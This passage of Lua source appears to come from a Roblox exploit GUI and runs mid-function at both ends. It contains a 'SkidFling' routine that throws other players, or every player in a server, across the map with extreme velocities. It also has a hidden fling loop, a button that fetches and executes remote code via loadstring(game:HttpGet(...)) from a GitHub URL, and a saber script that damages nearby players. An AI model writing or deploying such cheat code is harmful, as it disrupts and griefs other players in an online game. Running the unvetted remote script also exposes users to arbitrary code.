if Character and Humanoid and RootPart then
if RootPart.Velocity.Magnitude < 50 then
getgenv().OldPos = RootPart.CFrame
end
if THumanoid and THumanoid.Sit and not AllBool then
end
if THead then
workspace.CurrentCamera.CameraSubject = THead
elseif not THead and Handle then
workspace.CurrentCamera.CameraSubject = Handle
elseif THumanoid and TRootPart then
workspace.CurrentCamera.CameraSubject = THumanoid
end
if not TCharacter:FindFirstChildWhichIsA("BasePart") then
return
end
local FPos = function(BasePart, Pos, Ang)
RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
end
local SFBasePart = function(BasePart)
local TimeToWait = 2
local Time = tick()
local Angle = 0
repeat
if RootPart and THumanoid then
if BasePart.Velocity.Magnitude < 50 then
Angle = Angle + 100
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
else
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
end
else
break
end
until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait
end
workspace.FallenPartsDestroyHeight = 0/0
local BV = Instance.new("BodyVelocity")
BV.Name = "EpixVel"
BV.Parent = RootPart
BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
if TRootPart and THead then
if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
SFBasePart(THead)
else
SFBasePart(TRootPart)
end
elseif TRootPart and not THead then
SFBasePart(TRootPart)
elseif not TRootPart and THead then
SFBasePart(THead)
elseif not TRootPart and not THead and Accessory and Handle then
SFBasePart(Handle)
else
end
BV:Destroy()
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
workspace.CurrentCamera.CameraSubject = Humanoid
repeat
RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
Humanoid:ChangeState("GettingUp")
table.foreach(Character:GetChildren(), function(_, x)
if x:IsA("BasePart") then
x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
end
end)
task.wait()
until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
workspace.FallenPartsDestroyHeight = getgenv().FPDH
else
end
end
getgenv().Welcome = true
if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end
if AllBool then
for _,x in next, Players:GetPlayers() do
SkidFling(x)
end
end
for _,x in next, Targets do
if GetPlayer(x) and GetPlayer(x) ~= Player then
if GetPlayer(x).UserId ~= 1414978355 then
local TPlayer = GetPlayer(x)
if TPlayer then
SkidFling(TPlayer)
end
else
end
elseif not GetPlayer(x) and not AllBool then
end
end
end
end)
end)
end)
end;
task.spawn(C_8d);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_8f()
local script = G2L["8f"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
---------------------------------------------------------------------------------
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
loadstring(game:HttpGet("https://raw.githubusercontent.com/Icalock/Server/refs/heads/main/Lua%20Hammer.txt", true))()
end)
end;
task.spawn(C_8f);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_91()
local script = G2L["91"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--MADE BY OneLegend (NOT THE SCRIPT) LOCAL SCRIPT: Go to line 4 and 1351 and put your name where it says "YOUR NAME HERE"
Players = game:GetService("Players")
Player = Players.LocalPlayer
Bp = Player.Backpack
Pg = Player.PlayerGui
Char = Player.Character
Head = Char.Head
Torso = Char.Torso
Hum = Char.Humanoid
Humanoid = Hum
Neck = Torso["Neck"]
LS = Torso["Left Shoulder"]
RS = Torso["Right Shoulder"]
Ra = Char["Right Arm"]
La = Char["Left Arm"]
mouse = nil
Mouse = nil
bets =
{"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"," "}
inew = Instance.new
it = Instance.new
bc = BrickColor.new
vn = Vector3.new
cn = CFrame.new
ca = CFrame.Angles
mpi = math.pi
v3 = vn
mr = math.rad
br = BrickColor.new
cf = CFrame.new
ca = CFrame.Angles
Colors = {"Really Red"}
BladeColor = tostring(BrickColor.Random()) --Colors[math.random(1,#Colors)]
TrailColor = BladeColor
HopperName = "light saber"
Rage = 100000
MaxRage = Rage
SwordType = "Single"
LeftDebounce = {}
RightDebounce = {}
OtherDebounce = {}
Anim = {key = {}}
for i=1,#bets do table.insert(Anim.key,bets) end
Anim.Move = "None"
Anim.Click = false
Anim.Button = false
Anim.CanBerserk = 0
Anim.ComboBreak = false
Anim.Equipped = false
keydown = false
Speed = 2
RageIncome = 500
Left = false
Right = false
Anim.Act = false
RealSpeed = 35
DebounceSpeed = 0.85/Speed
RageCost = {
["Berserk"] = 200;
["RotorBlade"] = 30;
["Blocking"] = 0.1;
["Boomerang"] = 30;
["RageRegening"] = -0.7;
["BoulderForce"] = 45;
["ForceWave"] = 65;
["ForceWave"] = 32;
["Teleport"] = 25;
["DualSpin"] = 4;
}
MagnitudeHit = {
["ForceWave"] = 500;
}
Damage = {
["RotorBlade"] = 0;
["BoulderForce"] = 0;
["Boomerang"] = 0;
["ForceWave"] = 0;
["DualSpin"] = 0;
}
Props = {}
Props.MaxTeleDistance = 500
Props.Buff = 1
BlastMesh = Instance.new("FileMesh")
BlastMesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
RingMesh = Instance.new("FileMesh")
RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
RingMesh = Instance.new("FileMesh")
RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
function rayCast(Pos, Dir, Max, Ignore)
return Workspace:FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
end
function MinusRage(raggge)
Rage = Rage - raggge
if Rage < 0 then Rage = 0 end
end
function r(zParent,zName)
if zParent:findFirstChild(zName) ~= nil then
zParent[zName]:Remove()
else
end
end
function rclass(zParent,zClass)
local ch = zParent:GetChildren()
for i=1,#ch do
if (ch.className == zClass) then
ch:Remove()
else
end
end
end
function fWeld(zName,zParent,zPart0,zPart1,zCoco,a,b,c,d,e,f)
local funcw = Instance.new("Weld")
funcw.Name = zName
funcw.Parent = zParent
funcw.Part0 = zPart0
funcw.Part1 = zPart1
if (zCoco == true) then
funcw.C0 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
else
funcw.C1 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
end
return funcw
end
function Dash(ob,se,mes,of)
local off = nil
if of == nil then off = 0 else off = of end
pcall(function()
coroutine.resume(coroutine.create(function()
local dashin = true
local oldpos = (ob.CFrame *CFrame.new(0,off,0)).p
coroutine.resume(coroutine.create(function()
wait(se) dashin = false end))
for i=1,9999 do
if dashin == false then break end
local newpos = (ob.CFrame *CFrame.new(0,off,0)).p --+ Vector3.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
local np = Instance.new("Part")
np.BrickColor = BrickColor.new(TrailColor) np.CanCollide = false
np.BottomSurface = 0 np.TopSurface = 0 np.Anchored = true np.Transparency = 0.4
np.formFactor = "Custom" np.Parent = ob local mag = math.abs((newpos - oldpos).magnitude)
local mp = nil
if mes ~= nil then
np.Size = Vector3.new(2,mag,2) mp = Instance.new("FileMesh",np) mp.MeshId = mes else
np.Size = Vector3.new(0.4,0.4,mag) mp = Instance.new("BlockMesh",np) end
np.CFrame = CFrame.new(newpos,oldpos)
np.CFrame = np.CFrame + np.CFrame.lookVector* (mag/2)
if mes == BlastMesh.MeshId then np.CFrame = np.CFrame *ca(mr(-90),0,0) else np.CFrame = np.CFrame *ca(0,0,mr(-45)) end
oldpos = newpos
coroutine.resume(coroutine.create(function()
for i=1,0,-0.1 do
np.Transparency = np.Transparency + 0.03
--if mes ~= nil then
--mp.Scale = Vector3.new(i,mag,i) else
mp.Scale = Vector3.new(i,i,1) -- end
wait()
end
np:Remove()
end))
wait(0.08)
end
end))
end)
end
Sounds = {
Boom = "http://www.roblox.com/asset/?id=16976189";
SniperFire = "http://www.roblox.com/asset/?id=1369158";
ShotgunFire2 = "http://www.roblox.com/asset/?id=1868836";
MinigunFire = "http://www.roblox.com/asset/?id=2692806";
MinigunCharge = "http://www.roblox.com/asset/?id=2692844";
MinigunDischarge = "http://www.roblox.com/asset/?id=1753007";
Flashbang = "http://www.roblox.com/asset/?id=16976189";
Beep = "http://www.roblox.com/asset/?id=15666462";
Smash = "http://www.roblox.com/asset/?id=2801263";
Punch = "http://www.roblox.com/asset/?id=31173820";
Slash = "rbxasset://sounds/swordslash.wav";
Falcon = "http://www.roblox.com/asset/?id=1387390";
Cast = "http://www.roblox.com/asset/?id=2101137";
Spin = "http://www.roblox.com/asset/?id=1369159";
Abscond = "http://www.roblox.com/asset/?id=2767090";
ElectricalCharge = "http://www.roblox.com/asset/?id=2800815";
FireExplosion = "http://www.roblox.com/asset/?id=3264793";
SaberLightUp = "http://www.roblox.com/asset/?id=10209303";
SaberSlash = "http://www.roblox.com/asset/?id=10209280";
SaberHit = "http://www.roblox.com/asset/?id=44463749";
EnergyBlast = "http://www.roblox.com/asset/?id=10209268";
}
function Sound(sid,pit,vol)
local ss = Instance.new("Sound")
ss.Name = "Sound"
ss.Parent = Head
ss.SoundId = sid
ss.Pitch = pit
ss.Volume = vol
ss.PlayOnRemove = true
wait()
ss:Remove()
end
r(Char,"SwordPack")
r(Char,"Suit")
r(Char,"Saber" ..Player.Name)
r(Pg,"Sabers")
Suit = inew("Model")
Suit.Name = "Suit"
Suit.Parent = Char
function p(pa,sh,x,y,z,c,a,tr,re,bc)
local fp = it("Part",pa)
fp.formFactor = "Custom"
fp.Shape = sh
fp.Size = v3(x,y,z)
fp.CanCollide = c
fp.Anchored = a
fp.BrickColor = br(bc)
fp.Transparency = tr
fp.Reflectance = re
fp.BottomSurface = 0
fp.TopSurface = 0
fp.CFrame = Torso.CFrame
fp:BreakJoints()
return fp
end
function weld(pa,p0,p1,x,y,z,a,b,c)
local fw = it("Weld",pa)
fw.Part0 = p0
fw.Part1 = p1
fw.C0 = cf(x,y,z) *ca(a,b,c)
return fw
end
function ft(tab,nam)
if tab == nil or nam == nil then print("U: Fail table") return false end
for i=1,#tab do
if tab == nam then
return i
else
end
end
return nil
end
function spm(ty,pa,ssx,ssy,ssz)
local sp = it("SpecialMesh",pa)
sp.MeshType = ty
sp.Scale = Vector3.new(ssx,ssy,ssz)
return sp
end
Torso.Transparency = 1
Torm = Instance.new("Model",Char)
Torm.Name = "Saber" ..Player.Name
Tor = p(Torm,"Block",1.98,1.98,1,false,false,0,0,"basda") Tor.Name = "Torso"
Torw = weld(Tor,Torso,Tor,0,0,0,0,0,0)
pcall(function() Char.Shirt:Clone().Parent = Torm end)
pcall(function() Char.Pants:Clone().Parent = Torm end)
function ShockWave(onb,scale,col)
coroutine.resume(coroutine.create(function()
local e1 = Instance.new("Part")
e1.Anchored = true
e1.formFactor = "Custom"
e1.CanCollide = false
e1.Size = Vector3.new(1,1,1)
e1.BrickColor = BrickColor.new(col)
e1.Transparency = 0.6
e1.TopSurface = 0
e1.BottomSurface = 0
e1.Parent = Torm
e1.CFrame = onb.CFrame
e1.CFrame = e1.CFrame *CFrame.Angles(math.rad(-90),0,0)
local e1m = Instance.new("SpecialMesh")
e1m.MeshType = "FileMesh"
e1m.Scale = Vector3.new(3,3,3)
e1m.Parent = e1
e1m.MeshId = RingMesh.MeshId
local r1 = Instance.new("Part")
r1.Anchored = true
r1.formFactor = "Custom"
r1.CanCollide = false
r1.Size = Vector3.new(1,1,1)
r1.BrickColor = BrickColor.new(col)
r1.Transparency = 0.6
r1.TopSurface = 0
r1.BottomSurface = 0
r1.Parent = Torm
r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(90),0,0)
local r1m = Instance.new("SpecialMesh")
r1m.MeshType = "FileMesh"
r1m.Scale = Vector3.new(3,3,3)
r1m.Parent = r1
r1m.MeshId = BlastMesh.MeshId
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal/1.5,pluscal/3,pluscal/1.5)
r1.CFrame = r1.CFrame * CFrame.Angles(0,math.rad(6),0)
wait()
end
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal/1.5,pluscal/4,pluscal/1.5)
r1.CFrame = r1.CFrame * CFrame.Angles(0,math.rad(6),0)
e1.Transparency = e1.Transparency + 0.1
r1.Transparency = r1.Transparency + 0.1
wait()
end
e1:Remove()
r1:Remove()
end))
end
function Explode(onb,scale,col)
coroutine.resume(coroutine.create(function()
local e1 = Instance.new("Part")
e1.Anchored = true
e1.formFactor = "Custom"
e1.CanCollide = false
e1.Size = Vector3.new(1,1,1)
e1.BrickColor = BrickColor.new(col)
e1.Transparency = 0.6
e1.TopSurface = 0
e1.BottomSurface = 0
e1.Parent = Torm
e1.CFrame = onb.CFrame
local e1m = Instance.new("SpecialMesh")
e1m.MeshType = "Sphere"
e1m.Parent = e1
local r1 = Instance.new("Part")
r1.Anchored = true
r1.formFactor = "Custom"
r1.CanCollide = false
r1.Size = Vector3.new(1,1,1)
r1.BrickColor = BrickColor.new(col)
r1.Transparency = 0.6
r1.TopSurface = 0
r1.BottomSurface = 0
r1.Parent = Torm
r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(180),0,0)
local r1m = Instance.new("SpecialMesh")
r1m.MeshType = "FileMesh"
r1m.Scale = Vector3.new(3,3,3)
r1m.Parent = r1
r1m.MeshId = RingMesh.MeshId
local r2 = Instance.new("Part")
r2.Anchored = true
r2.formFactor = "Custom"
r2.CanCollide = false
r2.Size = Vector3.new(1,1,1)
r2.BrickColor = BrickColor.new(col)
r2.Transparency = 0.6
r2.TopSurface = 0
r2.BottomSurface = 0
r2.Parent = Torm
r2.CFrame = e1.CFrame *CFrame.Angles(0,math.rad(180),0)
local r2m = Instance.new("SpecialMesh")
r2m.MeshType = "FileMesh"
r2m.Parent = r2
r2m.Scale = Vector3.new(3,3,3)
r2m.MeshId = RingMesh.MeshId
local bla = Instance.new("Part")
bla.Anchored = true
bla.formFactor = "Custom"
bla.CanCollide = false
bla.Size = Vector3.new(1,1,1)
bla.BrickColor = BrickColor.new(col)
bla.Transparency = 0.6
bla.TopSurface = 0
bla.BottomSurface = 0
bla.Parent = Torm
bla.CFrame = CFrame.new(e1.Position.x,e1.Position.y,e1.Position.z)
local blam = Instance.new("SpecialMesh")
blam.MeshType = "FileMesh"
blam.Parent = bla
blam.Scale = Vector3.new(5,5,5)
blam.MeshId = BlastMesh.MeshId
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r2m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
blam.Scale = blam.Scale + Vector3.new(pluscal,pluscal/2,pluscal)
bla.CFrame = bla.CFrame * CFrame.Angles(0,math.rad(12),0)
r1.CFrame = r1.CFrame * CFrame.Angles(math.rad(6),0,0)
r2.CFrame = r2.CFrame * CFrame.Angles(0,math.rad(6),0)
wait()
end
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r2m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
blam.Scale = blam.Scale + Vector3.new(pluscal/1.5,pluscal/3,pluscal/1.5)
bla.CFrame = bla.CFrame * CFrame.Angles(0,math.rad(12),0)
r1.CFrame = r1.CFrame * CFrame.Angles(math.rad(6),0,0)
r2.CFrame = r2.CFrame * CFrame.Angles(0,math.rad(6),0)
bla.Transparency = bla.Transparency + 0.1
e1.Transparency = e1.Transparency + 0.1
r1.Transparency = r1.Transparency + 0.1
r2.Transparency = r2.Transparency + 0.1
wait()
end
e1:Remove()
r1:Remove()
r2:Remove()
end))
end
H1 = p(Torm,"Block",0.5,0.9,0.5,false,false,0,0.1,"Medium stone grey") spm("Head",H1,1,1.3,1)
H1w = weld(Tor,Torso,H1,0.4,-0.7,0.5,0,0,mr(45))
H2 = p(Torm,"Block",0.5,0.9,0.5,false,false,0,0.1,"Medium stone grey") spm("Head",H2,1,1.3,1)
H2w = weld(Tor,H1,H2,0,-0.8,0,mr(180),0,0)
Des1 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Instance.new("CylinderMesh",Des1)
Des1w = weld(Tor,H1,Des1,0,0.5,0,0,0,0)
Des2 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Instance.new("CylinderMesh",Des2)
Des2w = weld(Tor,H2,Des2,0,0.5,0,0,0,0)
Des21 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Des21m = Instance.new("CylinderMesh",Des21) Des21m.Scale = Vector3.new(1,0.6,1)
Des21w = weld(Tor,H1,Des21,0,-0.55,0,0,0,0)
Des22 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Des22m = Instance.new("CylinderMesh",Des22) Des22m.Scale = Vector3.new(1,0.6,1)
Des22w = weld(Tor,H2,Des22,0,-0.55,0,0,0,0)
Blad1 = p(Torm,"Block",0.3,4,0.3,false,false,1,0.25,BladeColor) M1 = spm("Head",Blad1,1,1,1)
Blad1w = weld(Tor,H1,Blad1,0,1.9,0,0,0,0)
Blad2 = p(Torm,"Block",0.3,4,0.3,false,false,1,0.25,BladeColor) M2 = spm("Head",Blad2,1,1,1)
Blad2w = weld(Tor,H2,Blad2,0,1.9,0,0,0,0)
Glow1 = p(Torm,"Block",0.47,4.2,0.47,false,false,1,0,BladeColor) GM1 = spm("Head",Glow1,1,1,1)
Glow1w = weld(Tor,H1,Glow1,0,1.9,0,0,0,0)
Glow2 = p(Torm,"Block",0.47,4.2,0.47,false,false,1,0,BladeColor) GM2 = spm("Head",Glow2,1,1,1)
Glow2w = weld(Tor,H2,Glow2,0,1.9,0,0,0,0)
r(Bp,HopperName)
bin = inew("HopperBin")
bin.Name = HopperName
bin.Parent = Bp
Gui = Instance.new("ScreenGui",Pg)
Gui.Name = "Sabers"
Frame = Instance.new("Frame",Gui)
Frame.BackgroundTransparency = 1 Frame.Size = UDim2.new(1,0,1,0)
ImageGui = Instance.new("ImageLabel",Frame)
ImageGui.Image = "http://www.roblox.com/asset/?id=51262246"
ImageGui.BackgroundTransparency = 1
ImageGui.Size = UDim2.new(0.3,0,0.075,0)
HealthBar = Instance.new("ImageLabel",Frame)
HealthBar.Image = "http://www.roblox.com/asset/?id=48965808"
HealthBar.BorderSizePixel = 0
HealthBar.Size = UDim2.new(0.23,0,0.017,0)
HealthBar.Position = UDim2.new(0.06,0,0.017,0)
RageBar = Instance.new("ImageLabel",Frame)
RageBar.Image = "http://www.roblox.com/asset/?id=48965808"
RageBar.BorderSizePixel = 0
RageBar.Size = UDim2.new(0.165,0,0.012,0)
RageBar.Position = UDim2.new(0.06,0,0.04,0)
RageBar.BackgroundColor3 = BrickColor.new("Alder").Color
SelectBar = Instance.new("ImageButton",Frame)
SelectBar.Image = "http://www.roblox.com/asset/?id=48965808"
SelectBar.BorderSizePixel = 0
SelectBar.Size = UDim2.new(0.1,0,0.07,0)
SelectBar.Position = UDim2.new(0.8,0,0.6,0)
SelectBar.BackgroundColor3 = BrickColor.new(BladeColor).Color
SelectrBar = Instance.new("TextLabel",SelectBar)
SelectrBar.BackgroundTransparency = 1
SelectrBar.BorderSizePixel = 0
SelectrBar.Size = UDim2.new(0,0,0,0)
SelectrBar.Position = UDim2.new(0.5,0,0.5,0)
SelectrBar.Font = "ArialBold"
SelectrBar.FontSize = "Size18"
SelectBar.MouseButton1Up:connect(function()
if Anim.Move ~= "None" then return end
if Anim.Act == true then return end
if Anim.Equipped == false then return end
if SwordType == "Single" then
Anim.Move = "Changing"
Anims.ChangeToDual(0,1,0.065*Speed) SwordType = "Dual"
Anim.Move = "None"
else
Anim.Move = "Changing"
Anims.ChangeToSingle(0,1,0.065*Speed) SwordType = "Single"
Anim.Move = "None"
end
end)
coroutine.resume(coroutine.create(function()
while true do
wait(0.05)
local hh = Hum.Health local hmh = Hum.MaxHealth
HealthBar.Size = UDim2.new((hh/hmh)*0.23,0,0.017,0)
if ((hh/hmh)*100) > 75 then
HealthBar.BackgroundColor3 = BrickColor.new("Alder").Color
elseif ((hh/hmh)*100) > 25 and ((hh/hmh)*100) < 76 then
HealthBar.BackgroundColor3 = BrickColor.new("Deep orange").Color
elseif ((hh/hmh)*100) < 26 then
HealthBar.BackgroundColor3 = BrickColor.new("Bright red").Color
end
RageBar.Size = UDim2.new((Rage/MaxRage)*0.165,0,0.012,0)
SelectrBar.Text = SwordType
end
end))
-------
function TellXPos(brick1,posd)
local lb = p(nil,"Block",1,1,1,true,false,1,0.1,BladeColor)
lb.CFrame = CFrame.new((brick1.CFrame *cf(-10,0,0)).p)
local rb = p(nil,"Block",1,1,1,true,false,1,0.1,BladeColor)
rb.CFrame = CFrame.new((brick1.CFrame *cf(10,0,0)).p)
local posml = math.abs((posd - rb.Position).magnitude)
local posmr = math.abs((posd - lb.Position).magnitude)
if posml > posmr then
return "left"
else
return "right"
end
end
function GetNearPlayer(urpos,maxmag)
if maxmag == nil then return nil end
for i,v in pairs(game.Players:GetChildren()) do
if v.Character ~= Char and v.Character ~= nil and v.Character:findFirstChild("Torso") ~= nil and math.abs((v.Character.Torso.Position-urpos).magnitude) < maxmag then
return v.Character.Torso
end
end
return nil
end
function Dmgz(hum,dmg)
dmg = dmg*Props.Buff
hum.Health = hum.Health - dmg
Rage = Rage + ((dmg/1.25)*RageIncome)
if Rage > MaxRage then Rage = MaxRage end
end
coroutine.resume(coroutine.create(function()
while true do
wait()
if Right == true and Anim.Move == "ForceWave" then
for i,v in pairs(workspace:GetChildren()) do
coroutine.resume(coroutine.create(function()
if v ~= Char and v ~= nil and v:findFirstChild("Torso") ~= nil and math.abs((v.Torso.Position-Blad2.Position).magnitude) < MagnitudeHit[Anim.Move] then
local hit = v.Torso
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and ft(RightDebounce,hit.Parent.Name) == nil then
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
table.insert(RightDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf = ft(RightDebounce,hit.Parent.Name) if nf ~= nil then table.remove(RightDebounce,nf) end
end
else
if v:IsA("BasePart") and v.Anchored == false and math.abs((v.Position-Blad2.Position).magnitude) < MagnitudeHit[Anim.Move] then v:BreakJoints() v.Velocity = cf(Blad2.Position,v.Position).lookVector*30 + Vector3.new(0,20,0) end
end
end))
end -- for
end
end
end))
Blad1.Touched:connect(function(hit)
if Left == true then
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and ft(LeftDebounce,hit.Parent.Name) == nil then
coroutine.resume(coroutine.create(function()
table.insert(LeftDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf = ft(LeftDebounce,hit.Parent.Name) if nf ~= nil then table.remove(LeftDebounce,nf) end
end))
Sound(Sounds.SaberHit,1,1)
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
else
--if hit.Parent:findFirstChild("Humanoid") == nil and not hit:IsDescendantOf(Char) and hit.Anchored == false then hit:BreakJoints() hit.Velocity = cf(Blad1.Position,hit.Position).lookVector*30 end
end
end
end)
Blad2.Touched:connect(function(hit)
if Right == true then
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and ft(RightDebounce,hit.Parent.Name) == nil then
coroutine.resume(coroutine.create(function()
table.insert(RightDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf = ft(RightDebounce,hit.Parent.Name) if nf ~= nil then table.remove(RightDebounce,nf) end
end))
Sound(Sounds.SaberHit,1,1)
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
else
--if hit.Parent:findFirstChild("Humanoid") == nil and not hit:IsDescendantOf(Char) and hit.Anchored == false then hit:BreakJoints() hit.Velocity = cf(Blad2.Position,hit.Position).lookVector*30 end
end
end
end)
LW = inew("Weld")
RW = inew("Weld")
Fla = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Fra = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Flaw = fWeld("Weld",Fla,Tor,Fla,true,-1.5,0.5,0,0,0,0)
Fraw = fWeld("Weld",Fla,Tor,Fra,true,1.5,0.5,0,0,0,0)
Flaw.C1 = CFrame.new(0,0.5,0)
Fraw.C1 = CFrame.new(0,0.5,0)
Fll = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Frl = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Fllw = fWeld("Weld",Fll,Torso,Fll,true,0,0,0,0,0,0)
Frlw = fWeld("Weld",Fll,Torso,Frl,true,0,0,0,0,0,0)
function FeetWeld(yesorno,lhh,rhh)
if yesorno == false then
